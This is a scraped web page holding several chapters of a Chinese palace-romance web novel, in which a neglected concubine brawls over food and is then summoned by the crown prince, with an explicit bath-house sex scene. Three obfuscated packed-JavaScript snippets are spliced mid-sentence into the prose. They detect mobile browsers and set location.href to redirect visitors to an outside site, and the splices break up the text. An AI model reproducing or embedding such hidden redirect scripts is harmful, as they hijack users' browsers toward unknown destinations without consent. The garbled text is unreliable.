却听有女孩子颤颤巍巍快要哭出来的声音道:“娘子。。娘子那那那是太子殿下的人,你们你们举刀对着主子,是是是要造反吗!” 却原来是乌梅又绿二人不知何时跑了进来,拦在她的面前。 只是两人那吓得青白的脸色,比哭还要难看。 愣是好不容易说出气势不足的话,质问众人。 屋内几人互相看了一眼,到底不敢造反,一阵噼里啪啦,纷纷将刀扔在了地上。 胖大厨却心下倒松了口气,不过是个不得宠又没见过世面的女子。 遂礼貌地挤出一丝笑来,而后又哭丧着脸道:“原来是宋娘子,小人有眼不识泰山。只是宋娘子千万见谅,绝不是小人故意为难娘子,太子殿下一向教导内外要节俭,温饱即可,不可骄奢淫逸,宫内一应用度能省则省,小人们绝不敢违扭啊。” “您不知道,这东宫里头每日里来来往往,各王公大臣觐见,您今日瞧见的这些肉都是备着孝敬这些贵人的。娘子也是贵人,有馒头青菜可吃,小人们卑贱,只能喝些稀饭,整日里一肚子的水啊。” 他抬出太子殿下这座大山来,原以为这位宋娘子再不敢有微词。 哪知她却手下不松,只是好奇问道:“我若是不小心弄伤了你,会有什么处罚?” 宫内等级森严,规矩严明,主子弄伤了奴婢,能有什么处罚? 不被判个以奴欺主已是宽宏大量了。 乌梅梗着脖子道:“我家娘子便是杀。。杀了你们,那也是自找的!” 谁想得到堂堂的侯府小姐,东宫殿下的侍妾,会为了口吃的跑来打架啊! 胖大厨转了哭脸道:“娘子可千万手下留情啊!” 宋轻风却果然放下刀来,甩了甩酸痛的胳膊道:“我可只说一遍,若是还不叫我满意,我还会来的,到时候吵嚷的整个东宫都知道,反正我的名声已经如此了,也不怕什么。何况我可是御赐的,谁也不能奈我何。” 她一时倒觉得名声不好自有不好的好处,破罐子破摔起来谁也拦不住。 说着扔了刀,命乌梅又绿端了盆鸡腿扬长而去。 果然好事不出门,坏事传千里。 三人不过方回到破云院大笑了一场,便见小太监顺意跑来,说是太子殿下晚间要见她。 本来这是日盼夜盼的事,而今终于能去方华殿了,乌梅又绿二人却开心不起来,甚至忍不住浑身发抖。 刚发生了大闹膳堂的事,殿下就派人来传。 脚趾头想也知道不是好事。 她们两人笑意消失了彻底,按着宋轻风,在屋内好生沐浴打扮了一番,希冀着能将娘子打扮得漂亮一些,叫殿下见她模样能手下留些情,直等得顺意等急了,才送她出门。 她方走,乌梅便跑房间内收拾自己的包裹,只说宋娘子这回是没好果子吃了,赶紧收拾一下准备回皇城司去。 宋轻风跟着顺意到了方华殿,宫人们已开始掌灯。 黄昏的风摇曳,原本就瞧不太清楚,灯影摇晃之下更是有些眼花。 她行了几步,才发现这座殿宇里里外外站着许多人。 这些人隐在阴影里,各个身姿笔挺,昂首挺胸,手中长枪拄地。 毫不怀疑,便是一只苍蝇飞过,都要被看个精光。 宋轻风忍不住拢了拢衣裳,顶着浑身如火灼一般的目光,心中打了鼓。 看来她那夜来此,并不是走的这个大门。 正自迷茫,一眼瞧见檐下站着个面带笑意,一身红色斑斓锦衣的大太监。 不是全福却是谁? 她自觉将他归为自己的熟人,一步上前去,歪着头笑呵呵地与他招呼道:“福公公好。” 全福瞧见她居然无事人一般,满面红光,尴尬地回了一礼,一时脑袋生痛。 这姑娘确实是刚才在膳堂里头喊打喊杀的那位吗? 说来这些日子他是愁白了头。 别人不知,他却是清楚,前些日子因灾款贪墨案,太子殿下亲自审问,逆着陛下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885586|159870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的意思硬是将部里几位关键要臣送上了刑场,后来为了十殿下那个脓包的事,太子殿下发了回善心插了一手。 陛下与殿下本就微妙的关系,愈发难言。一时就如满弓之箭,一个风吹草动都可招致祸端。 偏偏这时候,这个烫手山芋被赐进了东宫。 太子殿下将宁安侯打发去了河堤上挖河工去,又冷落她这些日子,大内早就或明或暗的有言语传出来。 毕竟再不堪,她也是御赐的女人。 按理来说,陛下赐的女人,不管喜欢不喜欢,都得收着,不说恩宠万千,也绝没有弃之一旁的道理。 可太子殿下自小犟脾气,哪里这般容易? 他在旁看着,真是急坏了脑袋。 好不容易今日逮到机会,殿下主动要见她,不管怎么说,他这个贴身伺候的,也该让殿下转寰转寰。 三五不时地召上一回,哪怕就是做做样子也行啊。 想到此,打量她穿着厚实,一脸乖顺模样,长得勉强,勉强也算能配得上自家殿下。 宋轻风见他在外头风口里站着,心知太子还没有回来。 果然全福道:“太子殿下还在大内,姑娘在此稍候。” 说完却也不再多言,只是嘱咐着小太监去将窗台上的蜡烛换掉。 宋轻风也不多问,在此人生地不熟,怕惹出啥差错来,打定主意紧紧跟在全福后头。 全福去净手她跟着,全福去燃香她跟着,全福去查看茶水她跟着,全福去上茅房。。她站在门口跟着。 全福被她跟的浑身冒汗,头皮发紧,只是太子殿下迟迟未回来,又不好打发。 只好道:“要不姑娘去偏殿暂歇?” 宋轻风道:“我不累。” “要不姑娘去喝口茶?” “我不渴。” 全福只好派了一波又一波小太监,去打探太子殿下的行程。 直等到天彻底黑了透,寒气上涌,才有小太监兴匆匆地回报说是太子殿下正起驾回宫。 全福忙指挥着众人,立刻开始准备衣物,热水,茶点,晚膳,其实一应用品早就准备多时。 太子殿下自小锦衣玉食堆里长大,便是并无奢靡之风,可行卧之间,自有诸般习惯和规矩。 在此事上,众人不敢稍有懈怠。 宋轻风看着众人一通有条不紊地忙乱,她抓了抓衣摆,想要问问全福需不需要帮忙,却又不知从何下口,似乎这宫内的一切已是一台精巧运转的机窍,半根额外的针都插不进去。 不一时,说是车驾已进了宫门了! 全福翘起一根兰花指乐道:“可算回来了。”说着一手提着衣摆,忙急急往外走。 跟屁虫宋轻风陡然心跳漏了一拍,来不及多想,也赶忙跟着。 不过片刻,远处便传来了锵锵脚步声,和车轮碾地声。 她忍不住抬头,拐角处应声转出一辆通体黑金的马车,前头两匹高头大马,银鞍金轡,马车前后左右,跟着数十个全副盔甲的侍卫。 她自觉地站在全福的旁边,却又与众人站成一排。 那马车向着此处缓缓行来,不一时停了下来。 离自己不过几尺之距。 车厢前挂着的宫灯在停靠间微微晃动,愈发叫视线一片目眩神迷。 宋轻风下意识憋住呼吸,死死盯着全福一点点掀开车帘,瞧见一只玉白的手从内伸了出来。 她没想到自己会突然汗毛倒立,呼吸急促,甚至于连视线都有些模糊不清,似乎有一道细细小小的水流,顺着脖颈一路向下滑落。 下意识抬脚上前,突然感到有目光如电般射来。 11. 第 11 章 她心神一惊,发现是马车旁的一个侍卫,身材魁梧,正圆瞪虎目瞧着自己,手已按在了腰侧。 那夜宫宴不过瞬间,她便被这些侍卫按倒在地,若不是皇后寿宴见不着血光,只怕就要血溅当场。 即便如此,因为未能察觉她的突然近身,那些侍卫当场受了罚。 其中就有这个人。 她记得他被拖到角落里打了二十棍,却半点呼嚎也无。 她后来知道他是太子的贴身护卫,东宫卫统领,传闻中数一数二的高手,名叫高守。 名字倒是丝毫不谦虚。 因上回的打,与她只怕结了梁子。 果然他利剑一般戳人心肺的目光投过来,宋轻风心虚,忙垂了眼睑低下头去。 一时间周围安静如鸡,直到脚步声打破了沉寂。 一双黑金祥云纹织鞋从面前走过,停也未停,很快地消失在了视线里。 风中似乎飘来沉静的香味。 冷肃的东宫瞬间纷繁了起来。 直等到脚步声走远了,宋轻风才抬起头来,长呼口气,瞧见黑色的背影慢慢消失在门后,精致的锦服勾勒出笔挺的腰背,行动间白皙的脖颈隐约可见,连背影都如精雕细琢过的一般。 她站在原地忍不住欣赏了片刻。 等反应过来,才发现众人已停在檐下,而全福早跟着进殿去了没了影子。 宋轻风一急,就要跟着进殿,哪知高守双手一横,声音如铁:“未得诏谕,不得入内。” 他扫了一眼面前的瘦弱姑娘,包在一身浅绿色襦裙中,漆黑的双眸里盛着迷茫。 习惯性地目光又自她双手一扫而过,并非习武之人,一时皱了眉。 这姑娘那夜不知从何处冒出来,一把扑在殿下的身上。 叫他此刻还心有余悸,难免对她总是格外提防了些。 他生得高大,又面相冷肃,浑身的盔甲都冒着杀伐之气,看向宋轻风时的眼神更是格外锐利。 宋轻风吃了一惊,吓得连连后退,不妨身后却是台阶,一脚扑了空。 眼见就要摔得惨不忍睹。 不过霎那间,高守眼疾手快,飞跃上前一把捞住了她。 右手触到她柔软的腰身时,才心中大震,慌不迭地松了手。 宋轻风跌跌撞撞终于站稳,心有余悸地摸着胸口道:“多谢高手大人救我。” 高守面上却立时转了冷酷,挺胸收腹,看也不看她,如门神一般站在大殿门口。 宋轻风原想借此与他聊上两句套套近乎,哪知他摆出这样一副模样,一时讪讪的,只能继续站在台阶下干等着。 此等情境,叫她不由想起初入侯府时,也是在夫人的门外站了许久,不过那时候运气不好,天冷得很,偏生还下了雨。 好在她后来抢了个过路仆役手里的伞,又扒了他的衣裳,才勉强没被冻死。 今日她早有些准备,穿得厚实。 只是在台阶下站久了,屋内半点动静也不闻,似乎又要改变主意不准备见她了? 在破云院呆了这么些天,她并未想过能来到方华殿。 可今日站在这殿门口,瞧见他的背影消失在门后,她却又恨不得立刻撕开面前的门,瞧一瞧里头的人。 风过吹动屋檐下的宫灯飘摇,一切变得虚幻起来。 与兰哥哥的最后一面,他也是这般消失在门后,徒留给她一个背影。 哪知这一别竟是永别。 宋轻风忍不住伸手到腰间的香囊里,从里头捏出一块晶莹剔透的糖来。 糖入口,先是一阵苦,而后甜意袭来,盈满了全身。 不知过了多久,却见朱墙金瓦沉在薄薄雾气里,四处的宫灯燃着,远处隐约传来打更声。 紧闭的殿门支呀一声开了。 一个小太监从里头出来,低头走到她面前道:“师傅说太子殿下方用完了膳,趁这时候有些时间,叫我带你进去拜见。” 宋轻风跨进了方华殿的门,鼻端立刻被特殊的香味包裹,沉肃冷意十足。 愈发透出她咚咚的心跳声。 可她没时间细想,跟上小太监的脚步往里走。 整个殿里已是灯火通明,照的地砖如镜子一般透亮,她隐约瞧见地上照出的自己,一身浅绿色宫装,面目模糊。 殿里静悄悄的不像是有人的样子,静地她也不自觉放轻了脚步。 小太监一路带着她行到一处垂着的门帘前。 正好全福从里头出来了。 他打量了一眼人,低声细语道:“随我来。” 掀开门帘,墨汁和纸张的清香迎面而来,满室的烛光宫灯照得屋内像是白昼一般。 全福行到里头,躬身上前,声音轻软:“太子殿下,宋氏应召来拜见。” 宋轻风顺着他的声音,才瞧见不远处的塌上斜躺着一个人,身型修长,一身月白色常服铺展开来,上头的绣纹熠熠生辉。 此刻他正低头看着手中的一卷书。 全福说完后,他仿若未闻。 宋轻风站在远处,咚地跪地行礼道:“在下宋轻风,拜见太子殿下。” 全福一个踉跄,险些跌倒,凑上前来咬牙低声道:“什么在下?” 说完飞快地扫了一眼塌上,却见太子殿下埋头看书,自顾躺着,未有丝毫反应。 他忙也闭了嘴。 殿内一时寂寂无声。 侍立在周边的几个内监,愈发低眉敛目,尽量降低自己的存在。 宋轻风感到膝盖慢慢有些发麻。她穿得厚,屋内又热,不一时后背就沁出密密的汗。 在这无声的寂静里等了好一会,也未等到回应,她怀疑是自己声音太轻,不由又重复道:“在下宋轻风…” 却有声音打断她道:“师轻则骄,轻则寡谋,骄则无礼。以轻为名,倒是符合你轻薄无状的秉性。”李岏一边看着书,一边道。 这女子的卷宗,她入府那日便送到了他的案头。 不过一个无名的侍妾,自有人去查探底细,这种小事原用不着他亲自过问。 这次因了乃是御赐,因此呈来与他过目,他不过扫了一眼便扔了,只隐约记得了她的名字。 什么? 宋轻风抬头,瞧见他说着话却依旧低垂着眉眼在看书,烛火下那眼角的红痣隐约可见。 她恍然想起记忆里,一人站在柳堤边,穿着绛红色的外裳,手中一柄长剑,剑刃上还有淋淋的血,却掩不住他眼角红痣的鲜红。 而她那时抱膝躲在一边,浑身剧颤,坠入深渊的心随着他手中的剑却渐渐浮了上来。 兰哥哥听闻了她的名字,却开口笑道:“轻风摇细柳,淡月映梅花,你是这个轻风吗?” 她豁然抬头,从来不知道,自己的名字还可以和细柳,明月,梅花这样美好的东西摆在一处。 记忆里小时候别人告诉她,风是这世上最轻贱的东西。 见她沉默不语,全福忙提醒她道:“殿下问话呢,快回话。” 宋轻风回过神来,心道,你的名字叫玩完,也不见得比我的好到哪里去。 遂挺直了腰身道:“殿下所言我听不懂,只是轻风摇细柳,淡月映梅花,这才是我的名字。” 李岏翻书页的手一顿。 一旁全福面色一变,扑通跪地道:“太子殿下恕罪,宋娘子第一日入内伺候,还不懂规矩。” 李岏扫了一眼,全福吓得再说不出话来。 站在远处的女子微低着头,一身浅绿色宫装,头发和妆容是精心打扮过的,此刻刘海之下一双宝石般的黑眸子却看向了自己。 只是一双手正绞着衣角,暴露了内心的紧张。 她小心翼翼地问道:“难道这也是死罪?” 李岏道:“听闻因为膳堂的饭菜不合你的口味,你便大闹了一场?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885587|159870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上来就给她定了罪,宋轻风道:“我。。。” 却见李岏一个眼风扫来,她的话立时卡在了咽喉。 李岏嘴角噙着森冷的笑意:“孤知道你自然不是为了口吃的,是不是觉得自己很聪明?” “啊?” “孤只是偶或从西跨院走,你便每日晨时黄昏定时往那去,这半个多月来次次扑空,到底忍耐不住,特意制造些事端。” 原来他以为她是故意的,只是为了能获得他的注意。 原来那夜他瞧见她了。 她想要狡辩,一时不知从何狡辩起,只得挑紧要地道:“并非如此,我只是在西跨院里养了只乌鸦,早晚去喂…” 眼看着他看傻子一样的神情,宋轻风也说不下去,只好闭嘴。 李岏道:“你进宫来,是迫于无奈?” 他声音极淡,面上更是没有情绪,却有一股无形的压力,压得屋内人都抬不起头来。 宋轻风轻声道:“不,我是心甘情愿,求之不得。” “既是自愿,就当全心全意履行好分内之事,别成日将心思花在歪门邪道之上。” 宋轻风知道自己再解释也无用。 宫宴上自己当着一群人的面做出那样的事,再想说自己是个清白无辜的好人,傻子才会信。 李岏见她垂着首不说话,却并无诚惶诚恐的模样。 不由下了最后通牒:“你入宫前是何模样孤不过问,只是入了这宫门,便安分守己,莫要再将宫外那些孟浪恶习带进来。这是孤对你的第二次警告,也会是最后一次。” 他的语意冷酷决绝,没人敢怀疑若是她再惹他不满,他对她绝不会有丝毫手软。 宋轻风看着他熟悉的眉眼,却透出冷淡的陌生目光,甚至还有厌恶,不由心中一酸,险些落下泪来。 她揉了揉眼角,勉强笑道:“是。” 李岏并未多看她一眼,也未看见她泛红的眼角,只是皱眉挥手道:“下去。” 宋轻风欲要退出,回头间,却见他低垂着眉眼,灯火掩映中令人目眩神迷。 分明就是兰哥哥的模样。 她的腿脚开始不听使唤,浑身打颤。 突然一咬牙回过身,走近一步扑通跪地道:“太子殿下,我还有一个问题要问。” 全福不妨她回身,忙上前去拦人。 李岏皱眉抬首,却见她小小的身体,直着脖子,眼眶微红地看着自己,黑宝石一般的眸子里是叫人心惊的神情。 他下意识摆手制止了全福。 宋轻风落地有声:“殿下当知道,因您冷落我,在这宫里我自然就处境艰难,举步维艰,随便一个宫人都能给我搓磨。可我也总不能这般等死,总要抗一抗的,但是殿下方才说若是再犯绝不留情,请问等着被折磨死和等着殿下处死,这两条路我该选择哪一条?” 全福三魂吓跑了一半,心中却难免为她惋惜。 到底还是个如花似玉的年纪,香消玉殒,着实可惜。 李岏却是第一次才真正看向这个女子,她眉目清秀,刘海遮住了额头,显得脸愈发地小,眼睛愈发地大。 她便这般灼灼地看着自己,毫不避忌。 她说她不能等死,总要抗一抗。 十殿下堂堂皇子,只是失了父爱,便被下人搓磨成如今的模样,而一个毫无宠幸的侍妾,在这宫里,自然是自生自灭。 他将她随意处置,不闻不问,自然也没为她想过半分。 原以为她是如宁安侯一般的草包,如今看来倒是有些不同。 李岏冷笑一声,声音冷酷:“你选哪条路,与我何干?” 屋内空气都似停止了流动,全福满额的汗想要拉她出去又不敢。 哪知宋轻风却瞪圆了眼睛,不可思议地道:“怎会与您无关?我是谁?那夜与我睡觉的人又是谁?” 说着她拉了站在旁边的全福道:“福公公,您说。” 12. 第 12 章 全福早就一张脸煞白,却又怕殿下当真一气之下要了她的小命,只好硬着头皮道:“您是太子殿下的侍妾。” 宋轻风得了助力,看着他。 李岏见她双目微红,目中的期盼溢出来了一般。 蝼蚁尚且偷生,何况是她? 竟点头道:“算盘打得不错。” 他斜靠在矮塌上,冷漠的话便自那薄唇中轻启出来:“只是你算错了,孤眼里揉不得沙子,在孤这里,未必就是生路。” 似乎秋意的凉全都透了进来,萦绕于他一身,精致的衣衫裁剪的每一处都恰到好处,连一片衣角都白如山巅之雪,透着叫人不敢亵渎的高贵。 他人的生死,不过在他一念之间。 宋轻风声音突然轻了下来,好似自言自语:“我愿意试试。” 李岏重又捡起书来,修长的手指在灯火下如透明一般。 全福没想到事情竟然就这样成了,一时惊疑不定地左右瞧了瞧。 这女子倒是有两把刷子,以后少不得是个有造化的。 宋轻风不熟悉这样的他,可他安静的时候,分明就是兰哥哥的模样。 他如此鲜活地出现在眼前,纵然只能贪得一时,她也愿意义无反顾地跳进来。 便是低头看书,李岏还是感到一道眼神时不时投在自己身上。 那眼神似乎偷偷摸摸,却如有实质一般,在他的面目上流连,火热灼人。 这满宫里,从无人敢如此大胆,果真是半点规矩也没有! 自己方才是如何鬼迷了心窍,生了恻隐之心。 叫这女子得了逞,愈发狂悖起来。 李岏一时如鲠在喉,如芒在背,再看不进任一个字,自榻上翻坐而起就要发作。 哪知却一眼撞进这女子的眼睛里。 她躲避不及,只能瞪着一双惊慌失措的黑眼睛看着他,里头似闪着千万烛火。 见被抓了个正着,她慌忙低下头,双手扯在裙边上,小小的唇被咬得红得愈要滴出血来,好一副无辜可怜的模样。 李岏斥责的话到了唇边又咽了回去。 与她这种小女子置什么气! 只能立刻冷着脸起身进了内室。 全福忙躬身跟上前去。 宋轻风一时不知该不该跟着,眼瞧着有人出来低语,屋内的内侍们也跟着接二连三地进去了。 她无聊站着,余光一扫,屋内四角果然一个人都没了,格子上除了书,最多的还是书,还有几个稍大的精巧摆件,一看就价值不菲。 其中一个角上,放了个锦盒,看它放的位置,该是个极重要的东西。 她心中一动,想起侍寝那夜,他手边的棋盘旁,放的似乎就是这个盒子。 宋轻风不自觉走上前去,才瞧见那盒子居然上了锁。 不由一愣,这宫里满殿的珍宝随处乱放,又会是什么样的东西,在太子的暖阁里摆着还要上锁? 她心中一动,方欲伸手。 “宋娘子。” 宋轻风吓得一抖,一转头却是个低眉顺眼的小太监。 那小太监低着头道:“娘子请随奴婢来吧。” 宋轻风见他说完也往方才太子去的内室方向走,该是太子唤她,忙跟了进去。 转过几个弯,进了一间内室。 还未站稳,一眼瞧见面前树立着一个屏风。 屏风上是一副山水云雨泛舟图。 而这屏风后头,一个人影长身站着,双臂伸展,周围或站或跪着几个内侍,正在忙碌。 室内光线昏暗,影影绰绰,又满是雾气。 玉环碰撞的声音叮当响起,一只玉带从屏风的缝隙里露出来。 随之修身束腰的衣裳突然松散开来。 一个腰细腿长,线条紧绷的身体影影绰绰地投影在了屏风的云雨图上。 这。。这是。。。 嗡的一声,宋轻风感到浑身僵硬,她下意识想要拔腿出去,腿却像生了钉子一般一动不动。 还在纠结间,却自屏风的缝隙里瞧见一双光洁的脚踝,小腿往前行了几步,甚至瞧得见小腿肌肉紧绷,线条流畅紧实。 那夜黑灯瞎火的,她实在是什么都没瞧见。 如今管中窥见一斑,着实叫人移不开目光。 宋轻风一时脑袋一团浆糊一般,他沐浴之时唤自己来此是准备做什么? 难道是要。。 室内热气弥漫,她防止又要挨冻,本就穿得多,此刻当真对着火炉一般,汗湿夹背,满头的汗。 正扒拉着领口想透点气,却突然听到“哎呦”一声轻呼。 原来全福捧着衣裳往外走,却突然脚底一个打滑,朝着地上摔去。 宋轻风手比脑子还快,当即冲上去扶他,到底她灵活,竟生生扶住下滑的趋势。 两人还没来得及庆幸,宋轻风却觉得腰窝里一痛,腿软了下去。 旁边可供支撑的只有屏风,当即伸手去扶。 屏风本就是整玉雕出来的,配了水晶玛瑙等物,轻盈脆弱,哪里禁得住她扶,立刻连人带屏风就倒了下去。 “哐当!” 一声巨响,宋轻风心道要完。 颤巍巍抬起头,发现面前是个大水池。 而池中的人,黑发披散,丝丝缕缕地落在雪白的肩膀,和胸口上,肌肤在光影下当真如玉琢地一般。 冰肌玉骨,莫不如是。 屋内几人吓得跪倒在地,一个劲地请罪。 宋轻风趴在屏风上,不能就起,只能看着水池里的人脸色愈来愈沉。 她艰难爬起来,还没站稳,却听他在水池里沉声开口:“到这里来。” 宋轻风一愣,依言上前。 直走到水池边,才站住脚,她站着,水池里的人坐着,竟成俯瞰之态。 李岏抬头,被水汽氤氲的面色少了几分凌厉,他虽然在低位,却如居高临下,气势迫人:“躺下。” 屋内几个服侍的内侍心领神会,慌忙往外撤,全福还贴心地关紧了门。 不一时,只听哗啦一声,李岏便从池子中站起身来。 他自小身边便是一帮人围着服侍,便是沐浴更衣这些事也是有人伺候的。 因此即便此时赤身站着,也不觉得有何难为情。 这世上从来只有别人避他,没有他避别人的道理。 但是躺在池边的宋轻风却并不如此厚脸皮,虽然屋内的人走了干净,可这烛火实在烧得太旺,叫她毫无躲藏之处,原本就通红的脸愈发要滴出血来。 李岏看着她几缕刘海凌乱地贴在脸上,刘海下的眼睛有丝慌乱,深处却又藏着期盼。 他俯下身,双眸里隐现少年人的欲望:“你想求的,孤会给你。” “但除此之外,再无其他。” 宋轻风看着他愈来愈近的脸,第一回如此清楚,如此仔细地瞧了彻底。 此刻她才惊觉,他居然真的还是个少年,眉清目秀,唇红齿白,面上的细小绒毛还未褪去。 若是笑起来,该是个叫人晃花眼的明媚少年。 这就是兰哥哥少年时的模样吧? 她口中无言地道:“兰哥哥。”下意识伸出手来,想要抚平他的眉心。 李岏看到她伸过来的手,皱眉避让开来,只是将一只手撑在她的身侧。 另一只手一拉一带,就奔入主题。 背后的石台冰冷,磨蹭着身体,而他一半泡在水里,一半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885588|159870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方从水里出来,皮肤滚烫的吓人。 撑在水池边的手臂,肌肉紧实,在一动一息间紧绷松弛。 池水激荡。 喘息间李岏低下头,见身下的人两颊粉红,双眸透亮,灼灼地看着自己,想起第一夜,尽管是在黑夜里,还是感到她烫人的目光,让人心生不适。 那时有烟纱遮盖,此刻在水池里,什么也没有。 他只能不耐烦地开口道:“嬷嬷没教过你规矩?” 宋轻风想起嬷嬷的教导,知道做此事的时候不能目视主上,可他就在面前,她怎么舍得不看呢? 李岏见她毫不知悔改,眉心一皱,大掌一挥,竟将她翻了过去。 宋轻风从躺在石台上,改成了趴在石面上,面前是洁白如玉的石面,冰冷的石挤压着。 身后的人却未有停歇,她只能咬牙用力撑住自己,防止自己被拍扁在石面上。 少年人的体力实在是好得吓人,看起来清秀的少年,这样俯卧的动作做了不下千百遍,竟半点不知疲倦似的。 这样的姿势也更是吓人。 宋轻风被折腾的眼角噙泪,将身下的石台捂热了,汗又打冷了,双手都撑得麻木了,又不知过了多久,才感觉水面一阵剧烈的波动,耳边传来急促的呼吸声。 而后渐渐恢复平静,宋轻风半直起身来。 扭头见到他已背对着自己,晶莹的汗珠顺着脊背滑落。 一只手挥了挥手。 这硕大的水池她自然是没资格享用的,需要穿戴好另寻地方清洗。 她软着腿跳下石台。 缓步走到门边,忍不住心中好奇,又回头问道:“殿下为何会同意?” 照传言来说,太子对她是极为厌恶和不屑的,而她所见到的人表现也确实如此。 却见水池里的人背对着她,一动不动。 原以为他不会答了,哪知快要出门前,却听身后人道:“是你是谁,又有什么区别。” 他是人,也有欲望,而且以后注定要娶妻纳妾,绵延子嗣。 宋轻风走到门外,接过内侍端着的一碗漆黑的汤药,捏着鼻子一饮而尽。 这碗药比上回的还恶心,她严重怀疑是加了双份的料! 正要质问,转头一看墙角的沙漏,居然已经过去了一个多时辰,不由默默闭了嘴。 端药的内侍却毫无所觉,只觉着这姑娘递过空碗来,朝他笑了笑,笑容明艳晃花了眼。 而后便飘走了。 全福进了内室,却见李岏已自己穿着宽松的长袍,躺在一侧的榻上。 听闻人声,只是掀开眼皮看了一眼。 全福久在身边服侍,被这一眼看得忍不住双腿发颤,膝盖一软,扑通跪地磕头道:“奴婢该死,奴婢不该擅作主张。” 李岏看向这个自少时便跟了自己的老人,他知道他今日这般急着促宋氏女近前服侍的缘由。 若不是这层因由在,他绝容不下底下的奴婢擅作主张。 李岏冷声道:“若有下次,绝不轻饶。” 全福汗流下来,还好自己主动招认保住了一条小命,连连磕头道:“是,是,奴婢谢殿下!” 李岏道:“去叫云嬷嬷来,好好教教规矩。” 那胆大妄为的女子,半点规矩也无,大剌剌地看着他也就罢了,居然在情深处时叫他哥哥。 云嬷嬷是宫中资历颇深的老嬷嬷,在调教人这块,让人悚然。 全福心中一凛,忙道:“是。” 李岏声音冷如铁:“且留她些时日。” 他的婚事已提上了章程,到时有了太子妃,如何处置这侍妾全凭太子妃处置,旁人插手不得。 便是大内,也难挑出错来。 13. 第 13 章 宋轻风在偏殿里头随意擦洗了一番,走到外头,才发现不知何时下雨了。 雨夜里的宫殿少了许多白日里的辉煌,添了更多的萧瑟。 未知的黑暗里总叫人觉得潜伏着什么巨兽。 侧耳听去,似乎有呼喝追赶之声。 仔细再听,又不过只有风声。 寒凉顺着雨气往人身上攀爬,她一时觉得周围实在陌生得紧,心中却又无端地生出许多惧意。 她压下心头莫名的紧张,不自觉往西北方向看了看。 千里之外的西北,该是下雪了。 那座破庙,此刻有人在里面躲雪吗? 宋轻风接过小太监的伞,一手提灯一手撑伞,慢慢走到了西跨院。 不顾雨水,她在草丛里一阵摸索,朦胧灯火下瞧见小乌鸦可怜巴巴地缩着脑袋,浑身的毛发都湿漉漉的。 眼皮耷拉着缩成一团,冻得瑟瑟发抖。 瞧见她来,它早没了白日里的嚣张气焰,只是嘎嘎地低叫了两声。 宋轻风蹲下身来道:“看样子我还会在这住段日子,跟我走吧,嘎嘎。” 她两手都不得闲,索性将小乌鸦塞进外面的衣裳里,在雨里深一脚浅一脚的回去了。 破云院还燃着灯。 乌梅又绿二人没等到她,也没去睡,只是忐忑地呆在屋内打瞌睡。 听到开门声,两人都惊了一跳。 却见宋轻风推门笑道:“乌梅,给你找了个弟弟。” 乌鸦。 乌梅从瞌睡里醒来一脸迷惑,待看到宋轻风从怀里掏出来一只淋湿的小乌鸦,黑溜溜的豆子眼睛四顾看着,头顶的茸毛还未长齐,此刻炸得绒球一般。 两个小姑娘围着小乌鸦一阵惊喜,左戳戳右瞧瞧,小乌鸦嘎嘎居然不咬她们,还扑棱着翅膀,很是喜悦模样。 又绿趁机端详了宋轻风的神色,终于瞧见她眼尾泛着红,而脸上的笑也透出丝牵强来。 只怕娘子在方华殿挨了好一顿训斥,又怕她们看出来丢了脸。 因此才寻了只鸟来转移话题。 她自然不想戳穿,只是好奇地道:“娘子,您是从哪得来的这小乌鸦,我们是要收养它吗?” 乌梅黑了几天的脸此刻却带了笑,脸颊红苹果一般,摸着小乌鸦的毛道:“这东西丑死了,就没听说过养乌鸦的。” 宋轻风道:“左右无聊,便养着呗,给它一片遮雨的屋顶。” 又绿喜道:“姑娘给它取个名字吧?” 宋轻风一把瘫坐在床上道:“它叫嘎嘎,叫起来嘎嘎得难听。” 她终于觉得累了,一根手指头都懒得动,卷了被子就睡了过去。 。 风吹的愈发地紧,割得人脸皮生痛。 宋轻风四顾一看,乌黑黑的宫墙,风声呼啸在耳边。 面前黑色的巷道似乎没有尽头。 她下意识慌张地往前跑,跑了半天却发现跑得太慢。 低头一看,才发现腿居然这样的短。 伸出手来,手居然也小得可怜。 她茫然地看了看,发现自己居然变成了一个几岁的孩童。 许是身体实在太过稚嫩,许是实在是跑得累了,双腿已不听使唤,一个稍微不平整的石板就将她绊倒在地。 身后的人声顺着风愈来愈近。 “就在前面!”“抓到她!”“绝不能留下活口!” 她小小的心脏咚咚跳着,似乎已瞧见一群人迫上来,手中的长刀闪着刺目的寒光。 寒冷的刀锋激得皮肤战栗而起。 眼见长刀砍来,不远处却出现一个背影。 长巷尽头,长身玉立的人长袖烈烈,发带飞舞。 